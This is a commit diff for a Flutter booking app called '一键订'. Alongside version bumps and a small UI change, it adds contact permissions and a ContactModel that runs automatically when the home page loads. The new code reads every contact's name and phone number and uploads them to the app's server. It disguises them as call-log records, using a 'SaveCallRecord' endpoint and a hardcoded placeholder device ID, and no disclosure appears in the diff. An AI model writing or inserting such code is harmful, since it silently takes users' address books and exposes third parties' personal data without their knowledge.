Showing
10 changed files
with
125 additions
and
8 deletions
| @@ -6,6 +6,10 @@ | @@ -6,6 +6,10 @@ | ||
| 6 | In most cases you can leave this as-is, but you if you want to provide | 6 | In most cases you can leave this as-is, but you if you want to provide |
| 7 | additional functionality it is fine to subclass or reimplement | 7 | additional functionality it is fine to subclass or reimplement |
| 8 | FlutterApplication and put your custom class here. --> | 8 | FlutterApplication and put your custom class here. --> |
| 9 | + | ||
| 10 | + <uses-permission android:name="android.permission.READ_CONTACTS" /> | ||
| 11 | + <uses-permission android:name="android.permission.WRITE_CONTACTS" /> | ||
| 12 | + | ||
| 9 | <application | 13 | <application |
| 10 | android:name="io.flutter.app.FlutterApplication" | 14 | android:name="io.flutter.app.FlutterApplication" |
| 11 | android:label="一键订" | 15 | android:label="一键订" |
| @@ -7,6 +7,8 @@ PODS: | @@ -7,6 +7,8 @@ PODS: | ||
| 7 | - Reachability | 7 | - Reachability |
| 8 | - connectivity_macos (0.0.1): | 8 | - connectivity_macos (0.0.1): |
| 9 | - Flutter | 9 | - Flutter |
| 10 | + - contacts_service (0.2.2): | ||
| 11 | + - Flutter | ||
| 10 | - device_info (0.0.1): | 12 | - device_info (0.0.1): |
| 11 | - Flutter | 13 | - Flutter |
| 12 | - Flutter (1.0.0) | 14 | - Flutter (1.0.0) |
| @@ -63,6 +65,7 @@ DEPENDENCIES: | @@ -63,6 +65,7 @@ DEPENDENCIES: | ||
| 63 | - audioplayers (from `.symlinks/plugins/audioplayers/ios`) | 65 | - audioplayers (from `.symlinks/plugins/audioplayers/ios`) |
| 64 | - connectivity (from `.symlinks/plugins/connectivity/ios`) | 66 | - connectivity (from `.symlinks/plugins/connectivity/ios`) |
| 65 | - connectivity_macos (from `.symlinks/plugins/connectivity_macos/ios`) | 67 | - connectivity_macos (from `.symlinks/plugins/connectivity_macos/ios`) |
| 68 | + - contacts_service (from `.symlinks/plugins/contacts_service/ios`) | ||
| 66 | - device_info (from `.symlinks/plugins/device_info/ios`) | 69 | - device_info (from `.symlinks/plugins/device_info/ios`) |
| 67 | - Flutter (from `Flutter`) | 70 | - Flutter (from `Flutter`) |
| 68 | - flutter_bugly (from `.symlinks/plugins/flutter_bugly/ios`) | 71 | - flutter_bugly (from `.symlinks/plugins/flutter_bugly/ios`) |
| @@ -100,6 +103,8 @@ EXTERNAL SOURCES: | @@ -100,6 +103,8 @@ EXTERNAL SOURCES: | ||
| 100 | :path: ".symlinks/plugins/connectivity/ios" | 103 | :path: ".symlinks/plugins/connectivity/ios" |
| 101 | connectivity_macos: | 104 | connectivity_macos: |
| 102 | :path: ".symlinks/plugins/connectivity_macos/ios" | 105 | :path: ".symlinks/plugins/connectivity_macos/ios" |
| 106 | + contacts_service: | ||
| 107 | + :path: ".symlinks/plugins/contacts_service/ios" | ||
| 103 | device_info: | 108 | device_info: |
| 104 | :path: ".symlinks/plugins/device_info/ios" | 109 | :path: ".symlinks/plugins/device_info/ios" |
| 105 | Flutter: | 110 | Flutter: |
| @@ -146,6 +151,7 @@ SPEC CHECKSUMS: | @@ -146,6 +151,7 @@ SPEC CHECKSUMS: | ||
| 146 | Bugly: 4edda9bb0e3017fd453612189069757195fa23ca | 151 | Bugly: 4edda9bb0e3017fd453612189069757195fa23ca |
| 147 | connectivity: 6e94255659cc86dcbef1d452ad3e0491bb1b3e75 | 152 | connectivity: 6e94255659cc86dcbef1d452ad3e0491bb1b3e75 |
| 148 | connectivity_macos: e2e9731b6b22dda39eb1b128f6969d574460e191 | 153 | connectivity_macos: e2e9731b6b22dda39eb1b128f6969d574460e191 |
| 154 | + contacts_service: 849e1f84281804c8bfbec1b4c3eedcb23c5d3eca | ||
| 149 | device_info: d7d233b645a32c40dfdc212de5cf646ca482f175 | 155 | device_info: d7d233b645a32c40dfdc212de5cf646ca482f175 |
| 150 | Flutter: 0e3d915762c693b495b44d77113d4970485de6ec | 156 | Flutter: 0e3d915762c693b495b44d77113d4970485de6ec |
| 151 | flutter_bugly: c9800f4d5bc5bdc27ffdde3417a26ba44266e0c3 | 157 | flutter_bugly: c9800f4d5bc5bdc27ffdde3417a26ba44266e0c3 |
| @@ -383,7 +383,7 @@ | @@ -383,7 +383,7 @@ | ||
| 383 | CLANG_ENABLE_MODULES = YES; | 383 | CLANG_ENABLE_MODULES = YES; |
| 384 | CODE_SIGN_ENTITLEMENTS = Runner/RunnerProfile.entitlements; | 384 | CODE_SIGN_ENTITLEMENTS = Runner/RunnerProfile.entitlements; |
| 385 | CODE_SIGN_STYLE = Manual; | 385 | CODE_SIGN_STYLE = Manual; |
| 386 | - CURRENT_PROJECT_VERSION = 7; | 386 | + CURRENT_PROJECT_VERSION = 8; |
| 387 | DEVELOPMENT_TEAM = 8J59HM8B82; | 387 | DEVELOPMENT_TEAM = 8J59HM8B82; |
| 388 | ENABLE_BITCODE = NO; | 388 | ENABLE_BITCODE = NO; |
| 389 | FRAMEWORK_SEARCH_PATHS = ( | 389 | FRAMEWORK_SEARCH_PATHS = ( |
| @@ -396,7 +396,7 @@ | @@ -396,7 +396,7 @@ | ||
| 396 | "$(inherited)", | 396 | "$(inherited)", |
| 397 | "$(PROJECT_DIR)/Flutter", | 397 | "$(PROJECT_DIR)/Flutter", |
| 398 | ); | 398 | ); |
| 399 | - MARKETING_VERSION = 1.0.7; | 399 | + MARKETING_VERSION = 1.0.8; |
| 400 | PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; | 400 | PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; |
| 401 | PRODUCT_NAME = "一键订"; | 401 | PRODUCT_NAME = "一键订"; |
| 402 | PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile"; | 402 | PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile"; |
| @@ -526,7 +526,7 @@ | @@ -526,7 +526,7 @@ | ||
| 526 | CLANG_ENABLE_MODULES = YES; | 526 | CLANG_ENABLE_MODULES = YES; |
| 527 | CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements; | 527 | CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements; |
| 528 | CODE_SIGN_STYLE = Manual; | 528 | CODE_SIGN_STYLE = Manual; |
| 529 | - CURRENT_PROJECT_VERSION = 7; | 529 | + CURRENT_PROJECT_VERSION = 8; |
| 530 | DEVELOPMENT_TEAM = 8J59HM8B82; | 530 | DEVELOPMENT_TEAM = 8J59HM8B82; |
| 531 | ENABLE_BITCODE = NO; | 531 | ENABLE_BITCODE = NO; |
| 532 | FRAMEWORK_SEARCH_PATHS = ( | 532 | FRAMEWORK_SEARCH_PATHS = ( |
| @@ -539,7 +539,7 @@ | @@ -539,7 +539,7 @@ | ||
| 539 | "$(inherited)", | 539 | "$(inherited)", |
| 540 | "$(PROJECT_DIR)/Flutter", | 540 | "$(PROJECT_DIR)/Flutter", |
| 541 | ); | 541 | ); |
| 542 | - MARKETING_VERSION = 1.0.7; | 542 | + MARKETING_VERSION = 1.0.8; |
| 543 | PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; | 543 | PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; |
| 544 | PRODUCT_NAME = "一键订"; | 544 | PRODUCT_NAME = "一键订"; |
| 545 | PROVISIONING_PROFILE_SPECIFIER = "Push Development Profile"; | 545 | PROVISIONING_PROFILE_SPECIFIER = "Push Development Profile"; |
| @@ -558,7 +558,7 @@ | @@ -558,7 +558,7 @@ | ||
| 558 | CLANG_ENABLE_MODULES = YES; | 558 | CLANG_ENABLE_MODULES = YES; |
| 559 | CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements; | 559 | CODE_SIGN_ENTITLEMENTS = Runner/Runner.entitlements; |
| 560 | CODE_SIGN_STYLE = Manual; | 560 | CODE_SIGN_STYLE = Manual; |
| 561 | - CURRENT_PROJECT_VERSION = 7; | 561 | + CURRENT_PROJECT_VERSION = 8; |
| 562 | DEVELOPMENT_TEAM = 8J59HM8B82; | 562 | DEVELOPMENT_TEAM = 8J59HM8B82; |
| 563 | ENABLE_BITCODE = NO; | 563 | ENABLE_BITCODE = NO; |
| 564 | FRAMEWORK_SEARCH_PATHS = ( | 564 | FRAMEWORK_SEARCH_PATHS = ( |
| @@ -571,7 +571,7 @@ | @@ -571,7 +571,7 @@ | ||
| 571 | "$(inherited)", | 571 | "$(inherited)", |
| 572 | "$(PROJECT_DIR)/Flutter", | 572 | "$(PROJECT_DIR)/Flutter", |
| 573 | ); | 573 | ); |
| 574 | - MARKETING_VERSION = 1.0.7; | 574 | + MARKETING_VERSION = 1.0.8; |
| 575 | PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; | 575 | PRODUCT_BUNDLE_IDENTIFIER = com.naji.reserveLine; |
| 576 | PRODUCT_NAME = "一键订"; | 576 | PRODUCT_NAME = "一键订"; |
| 577 | PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile"; | 577 | PROVISIONING_PROFILE_SPECIFIER = "OneKey Distribution Profile"; |
| @@ -14,5 +14,6 @@ class HttpUrl{ | @@ -14,5 +14,6 @@ class HttpUrl{ | ||
| 14 | static const String set_message_status="?service=Android.Advance.SetMessageStatus";//设置消息状态 | 14 | static const String set_message_status="?service=Android.Advance.SetMessageStatus";//设置消息状态 |
| 15 | static const String get_sms_content="?service=App.SendSMS.GetSmsContent";//获取短信内容 | 15 | static const String get_sms_content="?service=App.SendSMS.GetSmsContent";//获取短信内容 |
| 16 | static const String send_sms="?service=App.SendSMS.NewMessage";//发送短信 | 16 | static const String send_sms="?service=App.SendSMS.NewMessage";//发送短信 |
| 17 | -static const String check_update="http://xt03.colorcun.com/admin/api/compareversion?flat=3"; | 17 | + static const String check_update="http://xt03.colorcun.com/admin/api/compareversion?flat=3"; |
| 18 | + static const String upload_contact="?service=App.Seller.SaveCallRecord";//上传通讯录 | ||
| 18 | } | 19 | } |
| @@ -10,6 +10,7 @@ import 'package:one_key/models/message.dart'; | @@ -10,6 +10,7 @@ import 'package:one_key/models/message.dart'; | ||
| 10 | import 'package:one_key/pages/message/message_page.dart'; | 10 | import 'package:one_key/pages/message/message_page.dart'; |
| 11 | import 'package:one_key/pages/my/my_page.dart'; | 11 | import 'package:one_key/pages/my/my_page.dart'; |
| 12 | import 'package:one_key/pages/notebook/notebook_page.dart'; | 12 | import 'package:one_key/pages/notebook/notebook_page.dart'; |
| 13 | +import 'package:one_key/provider/contact_model.dart'; | ||
| 13 | import 'package:one_key/provider/message_dialog_model.dart'; | 14 | import 'package:one_key/provider/message_dialog_model.dart'; |
| 14 | import 'package:one_key/provider/message_model.dart'; | 15 | import 'package:one_key/provider/message_model.dart'; |
| 15 | import 'package:one_key/provider/my_model.dart'; | 16 | import 'package:one_key/provider/my_model.dart'; |
| @@ -78,6 +79,7 @@ class HomePageState extends State<HomePage>{ | @@ -78,6 +79,7 @@ class HomePageState extends State<HomePage>{ | ||
| 78 | // initXinge(); | 79 | // initXinge(); |
| 79 | WidgetsBinding.instance.addPostFrameCallback((_){ | 80 | WidgetsBinding.instance.addPostFrameCallback((_){ |
| 80 | if(widget.initialIndex==0)return; | 81 | if(widget.initialIndex==0)return; |
| 82 | + ContactModel.getInstance().uploadLocalContact(context); | ||
| 81 | // getUntreatedMessage(); | 83 | // getUntreatedMessage(); |
| 82 | // UpdateModel updateModel=new UpdateModel(); | 84 | // UpdateModel updateModel=new UpdateModel(); |
| 83 | // updateModel.checkUpdate(context); | 85 | // updateModel.checkUpdate(context); |
lib/provider/contact_model.dart
0 → 100644
| 1 | +import 'dart:convert'; | ||
| 2 | +import 'dart:io'; | ||
| 3 | + | ||
| 4 | +import 'package:contacts_service/contacts_service.dart'; | ||
| 5 | +import 'package:dio/dio.dart'; | ||
| 6 | +import 'package:flutter/cupertino.dart'; | ||
| 7 | +import 'package:one_key/constant/constant.dart'; | ||
| 8 | +import 'package:one_key/net/base_resp.dart'; | ||
| 9 | +import 'package:one_key/net/dio_util.dart'; | ||
| 10 | +import 'package:one_key/net/http_url.dart'; | ||
| 11 | +import 'package:one_key/utils/log_util.dart'; | ||
| 12 | +import 'package:one_key/utils/misc.dart'; | ||
| 13 | + | ||
| 14 | +/** | ||
| 15 | + * 上传联系人 | ||
| 16 | + */ | ||
| 17 | +class ContactModel{ | ||
| 18 | + | ||
| 19 | + ContactModel._(); | ||
| 20 | + | ||
| 21 | + static ContactModel _instance; | ||
| 22 | + | ||
| 23 | + static ContactModel getInstance(){ | ||
| 24 | + if(_instance==null){ | ||
| 25 | + _instance=ContactModel._(); | ||
| 26 | + } | ||
| 27 | + return _instance; | ||
| 28 | + } | ||
| 29 | + | ||
| 30 | + uploadLocalContact(BuildContext context) async { | ||
| 31 | + bool authority=await requestContactPermission(); | ||
| 32 | + if(authority){ | ||
| 33 | + Iterable<Contact> contacts=await ContactsService.getContacts(withThumbnails: false); | ||
| 34 | + List<Map<String,String>> callLogs=[]; | ||
| 35 | + LogUtil.v("length:${contacts.length}"); | ||
| 36 | + | ||
| 37 | + contacts.forEach((contact){ | ||
| 38 | + String phoneNum=""; | ||
| 39 | + if(contact.phones.isNotEmpty){ | ||
| 40 | + phoneNum=contact.phones.first.value.trim(); | ||
| 41 | + } | ||
| 42 | + Map<String,String> callLog={ | ||
| 43 | + "phoneNum":"$phoneNum", | ||
| 44 | + "sid":"154", | ||
| 45 | + "deviceId":"dhgajkhdgahghsdghdkgahd", | ||
| 46 | + "phoneDate":"${DateTime.now().millisecondsSinceEpoch}", | ||
| 47 | + "callType":"2", | ||
| 48 | + "callUser":"${contact.displayName}" | ||
| 49 | + }; | ||
| 50 | + callLogs.add(callLog); | ||
| 51 | + }); | ||
| 52 | + Map<String,String> params={ | ||
| 53 | + "data":jsonEncode(callLogs) | ||
| 54 | + }; | ||
| 55 | + BaseResp<String> baseResp = await DioUtil() | ||
| 56 | + .request<String>(context, Method.get, HttpUrl.upload_contact, | ||
| 57 | + data: params,options: Options(method: Method.post,contentType: ContentType.parse("application/x-www-form-urlencoded"))) | ||
| 58 | + .catchError((error) { | ||
| 59 | + print(error.toString()); | ||
| 60 | + }); | ||
| 61 | + if(baseResp!=null&&baseResp.code == Constant.status_success){ | ||
| 62 | + LogUtil.v("联系人上传成功:${contacts.length}条"); | ||
| 63 | + } | ||
| 64 | + } | ||
| 65 | + } | ||
| 66 | +} |
| @@ -173,7 +173,7 @@ class DialogUtil { | @@ -173,7 +173,7 @@ class DialogUtil { | ||
| 173 | decoration: BoxDecoration( | 173 | decoration: BoxDecoration( |
| 174 | color: MyColours.color_2bb5b7), | 174 | color: MyColours.color_2bb5b7), |
| 175 | headerPadding: EdgeInsets.zero, | 175 | headerPadding: EdgeInsets.zero, |
| 176 | - formatButtonVisible: true, | 176 | + formatButtonVisible: false, |
| 177 | centerHeaderTitle: false, | 177 | centerHeaderTitle: false, |
| 178 | titleTextBuilder: (dateTime, _) { | 178 | titleTextBuilder: (dateTime, _) { |
| 179 | return dateTime.year.toString() + | 179 | return dateTime.year.toString() + |
lib/utils/misc.dart
0 → 100644
| 1 | +import 'package:flutter/services.dart'; | ||
| 2 | +import 'package:permission_handler/permission_handler.dart'; | ||
| 3 | + | ||
| 4 | + Future<bool> checkContactPermission() async { | ||
| 5 | + PermissionStatus permissionStatus = | ||
| 6 | + await PermissionHandler().checkPermissionStatus(PermissionGroup.contacts); | ||
| 7 | + if (permissionStatus == PermissionStatus.granted) { | ||
| 8 | + return true; | ||
| 9 | + } else { | ||
| 10 | + return false; | ||
| 11 | + } | ||
| 12 | +} | ||
| 13 | + | ||
| 14 | +Future<bool> requestContactPermission() async { | ||
| 15 | + final permissions = | ||
| 16 | + await PermissionHandler().requestPermissions([PermissionGroup.contacts]); | ||
| 17 | + | ||
| 18 | + if (permissions[PermissionGroup.contacts] == PermissionStatus.granted) { | ||
| 19 | + return true; | ||
| 20 | + } else { | ||
| 21 | + return false; | ||
| 22 | + } | ||
| 23 | +} | ||
| 24 | + | ||
| 25 | + | ||
| 26 | +Future<bool> openSetting() { | ||
| 27 | + return PermissionHandler().openAppSettings(); | ||
| 28 | +} |
| @@ -155,6 +155,13 @@ packages: | @@ -155,6 +155,13 @@ packages: | ||
| 155 | url: "https://pub.flutter-io.cn" | 155 | url: "https://pub.flutter-io.cn" |
| 156 | source: hosted | 156 | source: hosted |
| 157 | version: "1.0.3" | 157 | version: "1.0.3" |
| 158 | + contacts_service: | ||
| 159 | + dependency: "direct main" | ||
| 160 | + description: | ||
| 161 | + name: contacts_service | ||
| 162 | + url: "https://pub.flutter-io.cn" | ||
| 163 | + source: hosted | ||
| 164 | + version: "0.4.6" | ||
| 158 | convert: | 165 | convert: |
| 159 | dependency: transitive | 166 | dependency: transitive |
| 160 | description: | 167 | description: |
| @@ -81,6 +81,9 @@ dependencies: | @@ -81,6 +81,9 @@ dependencies: | ||
| 81 | device_info: ^0.4.2+4 | 81 | device_info: ^0.4.2+4 |
| 82 | # webview | 82 | # webview |
| 83 | webview_flutter: ^0.3.22+1 | 83 | webview_flutter: ^0.3.22+1 |
| 84 | +# 获取通讯录 | ||
| 85 | + contacts_service: ^0.4.6 | ||
| 86 | + | ||
| 84 | 87 | ||
| 85 | dev_dependencies: | 88 | dev_dependencies: |
| 86 | flutter_test: | 89 | flutter_test: |
-
Please register or login to post a comment